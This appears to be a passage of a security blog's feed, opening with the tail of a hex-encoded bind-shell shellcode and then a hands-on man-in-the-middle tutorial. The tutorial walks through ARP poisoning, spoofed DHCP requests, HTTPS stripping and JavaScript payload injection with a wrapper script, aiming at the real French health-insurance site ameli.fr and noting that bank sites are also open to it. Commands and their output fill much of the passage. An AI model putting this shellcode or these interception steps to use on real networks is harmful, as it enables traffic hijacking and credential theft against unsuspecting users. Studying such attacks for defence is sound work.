class=&quot;s2&quot;&gt;1f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;05&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So now we can parametrize the port number and generate a TCP port binding shellcode.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed,&lt;br /&gt;
Thanks a lot and as i’m used to saying, do not hesitate to comment and share.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>MITM Part 2 - Hands on with MITM and HTTPS</title>
   <link href="https://phackt.org/mitm-part2-hands-on-mitm-attack-and-https"/>
   <updated>2017-03-27T00:00:00+00:00</updated>
   <id>https://phackt.org/mitm-part2-hands-on-mitm-attack-and-https</id>
   <content type="html">&lt;p&gt;Hi everybody,&lt;/p&gt;

&lt;p&gt;I already wrote some articles talking about the importance of implementing the HTTP Strict Transport Security (&lt;a href=&quot;https://https.cio.gov/hsts/&quot;&gt;HSTS&lt;/a&gt;) and to secure all the webpages, even the landing page.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why all the pages should be secure ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Because all the trafic should be hidden from prying eyes. If an attacker could interfer with only one page, several options are available to him. He can strip all secure headers, redirect trafic, change web page content, force HTTP trafic, and so on.&lt;br /&gt;
&lt;!--more--&gt;
Every case is different but keep in mind that if the victim is able to generate a plain HTTP request (http://website.com), the attacker can control all the trafic.&lt;/p&gt;

&lt;p&gt;However, if a ressource has been cached with HSTS, the browser will automatically do an internal redirect (Code 307).&lt;br /&gt;
It is important to notice that the &lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; header will be cached if it is legitimate, i mean if the header is first saw by the browser on a HTTP response over TLS/SSL and if the certificate is valid (signed by a browser trusted CA). I checked on Chrome and Firefox this behavior. I saw on websites the &lt;strong&gt;Strict-Transport-Security&lt;/strong&gt; set on plain HTTP responses, but the browser won’t redirect if the above conditions are not met.&lt;/p&gt;

&lt;p&gt;But what if HSTS has never been cached ? so we will be able to fool a victim an maintain an plain text connection as we will see (we won’t deal with any certificate faking here.&lt;/p&gt;

&lt;p&gt;In our example we will do a &lt;strong&gt;MITM&lt;/strong&gt; attack between a Kali VM and the &lt;a href=&quot;http://ameli.fr&quot;&gt;french social welfare website&lt;/a&gt;. You can find so many other websites, even some online bank websites to reproduce the attack.&lt;br /&gt;
MITM attacks still succeed if you are not protected with some soft/hardware dropping unsolicited ARP responses (&lt;a href=&quot;https://tools.ietf.org/html/rfc826&quot;&gt;RFC 826&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;So stop talking, go for the show:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic1.png&quot; alt=&quot;pic1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have here a non-secure HTTP landing page. What happens if we click on &lt;em&gt;“Mon compte ameli”&lt;/em&gt; in order to log in ?&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic2.png&quot; alt=&quot;pic2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So we have a secure login page.  What about the response headers ?&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic3.png&quot; alt=&quot;pic3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Another check:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443 &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; http-hsts-verify assure.ameli.fr 
Starting Nmap 7.40 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2017-03-27 20:08 CEST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;assure.ameli.fr &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;93.174.145.36&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.016s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
PORT    STATE SERVICE
443/tcp open  https
| http-hsts-verify: 
|_  HSTS is not configured.

Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;0.65 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I created a wrapper &lt;a href=&quot;https://github.com/phackt/mitm&quot;&gt;script&lt;/a&gt; to manage all the tools involved in the MITM attack. My advice is to run it on a Kali machine. However it will automatically download the web proxy that we will use (&lt;a href=&quot;https://mitmproxy.org/&quot;&gt;Mitmproxy&lt;/a&gt;).&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git clone https://github.com/phackt/mitm.git &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ./mitm
Clonage dans &lt;span class=&quot;s1&quot;&gt;&apos;mitm&apos;&lt;/span&gt;...
remote: Counting objects: 49, &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
remote: Compressing objects: 100% &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;34/34&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
remote: Total 49 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;delta 15&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, reused 35 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;delta 9&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, pack-reused 0
Dépaquetage des objets: 100% &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;49/49&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, fait.
root@kali:/tmp/mitm&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./mitm.sh
Usage: ./mitm.sh &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &amp;lt;js payload url&amp;gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &amp;lt;interface&amp;gt; gateway_ip target_ip
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; interactive mode &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;mitmproxy
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; capture HTTP traffic
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; capture HTTPS traffic
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; stripping https
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; inject js payload
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; dnsspoof + setoolkit
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; interface
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are almost ready for our mitm attack. We will specify the interactive mode (mitmproxy GUI), the capture HTTP traffic mode only (not faking certificates) and we will apply our custom &lt;strong&gt;sslstrip.py&lt;/strong&gt; script.&lt;/p&gt;

&lt;p&gt;If you check the &lt;strong&gt;bin&lt;/strong&gt; folder, you will find these tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;arpoison.sh&lt;/strong&gt; to automate ARP poisoning&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;chk_poison.py&lt;/strong&gt; which will check if an ARP poisoning is successful&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First let’s check the ips:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/tmp/mitm# route &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;
Table de routage IP &lt;span class=&quot;nb&quot;&gt;du &lt;/span&gt;noyau
Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    600    0        0 wlan0
root@kali:/tmp/mitm# nmap &lt;span class=&quot;nt&quot;&gt;-sn&lt;/span&gt; 192.168.1.1/24
...
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;kali.home &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.1.19&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.00012s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now run mitm.sh&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:/tmp/mitm# ./mitm.sh &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; wlan0 192.168.1.1 192.168.1.19
INTERACTIVE_MODE On
HTTP_INTERCEPTION On
HTTPS_STRIPPING On

Installing mitmproxy v1, please wait...

&lt;span class=&quot;nt&quot;&gt;--2017-03-27&lt;/span&gt; 20:49:08--  https://github.com/mitmproxy/mitmproxy/releases/download/v1.0/mitmproxy-1.0.0post1-linux.tar.gz
Résolution de github.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github.com&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;… 192.30.253.113, 192.30.253.112
Connexion à github.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github.com&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;|192.30.253.113|:443… connecté.
requête HTTP transmise, en attente de la réponse… 302 Found
Emplacement : https://github-cloud.s3.amazonaws.com/releases/519832/3dcda87e-cbe7-11e6-90f5-73a30be85192.gz?X-Amz-Algorithm&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AKIAISTNZFOVBIJMK3TQ%2F20170327%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;20170327T194852Z&amp;amp;X-Amz-Expires&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;300&amp;amp;X-Amz-Signature&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;584985dd5837498f44b588a4bd9f6378f1e12783e75b6dc2ec1acca2772da86f&amp;amp;X-Amz-SignedHeaders&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;host&amp;amp;actor_id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&amp;amp;response-content-disposition&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;attachment%3B%20filename%3Dmitmproxy-1.0.0post1-linux.tar.gz&amp;amp;response-content-type&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;application%2Foctet-stream &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;suivant]
&lt;span class=&quot;nt&quot;&gt;--2017-03-27&lt;/span&gt; 20:49:08--  https://github-cloud.s3.amazonaws.com/releases/519832/3dcda87e-cbe7-11e6-90f5-73a30be85192.gz?X-Amz-Algorithm&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AKIAISTNZFOVBIJMK3TQ%2F20170327%2Fus-east-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Date&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;20170327T194852Z&amp;amp;X-Amz-Expires&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;300&amp;amp;X-Amz-Signature&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;584985dd5837498f44b588a4bd9f6378f1e12783e75b6dc2ec1acca2772da86f&amp;amp;X-Amz-SignedHeaders&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;host&amp;amp;actor_id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&amp;amp;response-content-disposition&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;attachment%3B%20filename%3Dmitmproxy-1.0.0post1-linux.tar.gz&amp;amp;response-content-type&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;application%2Foctet-stream
Résolution de github-cloud.s3.amazonaws.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github-cloud.s3.amazonaws.com&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;… 54.231.114.227
Connexion à github-cloud.s3.amazonaws.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github-cloud.s3.amazonaws.com&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;|54.231.114.227|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 70081542 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;67M&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;application/octet-stream]
Sauvegarde en : « /tmp/mitm/mitmproxy/mitmproxy.tar »

/tmp/mitm/mitmproxy/mitmproxy.tar     100%[&lt;span class=&quot;o&quot;&gt;=======================================================================&amp;gt;]&lt;/span&gt;  66,83M  4,94MB/s    &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;14s     

2017-03-27 20:49:23 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;4,82 MB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; — « /tmp/mitm/mitmproxy/mitmproxy.tar » sauvegardé &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;70081542/70081542]

mitmproxy
mitmdump
mitmweb

Installation &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

Flushing iptables...
Setting configuration...
No poisoning between 192.168.1.1 -&amp;gt; 192.168.1.19
Do you want to force poisoning? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Yn]:Y
Trying DHCP REQUEST to poison 192.168.1.1...
no answer
Poisoning successful!!!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;chk_poison.py&lt;/strong&gt; can try to force poisoning (works on Orange Livebox) by sending a spoofed DHCP request. The router will automatically generate ARP request after that and will legitimate our spoofed ARP responses.&lt;/p&gt;

&lt;p&gt;So now we are definitely ready to intercept the trafic.&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic4.png&quot; alt=&quot;pic4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now imagine that the victim is surfing on &lt;a href=&quot;http://www.ameli.fr&quot;&gt;http://www.ameli.fr&lt;/a&gt;.&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic5.png&quot; alt=&quot;pic5&quot; /&gt;&lt;/p&gt;

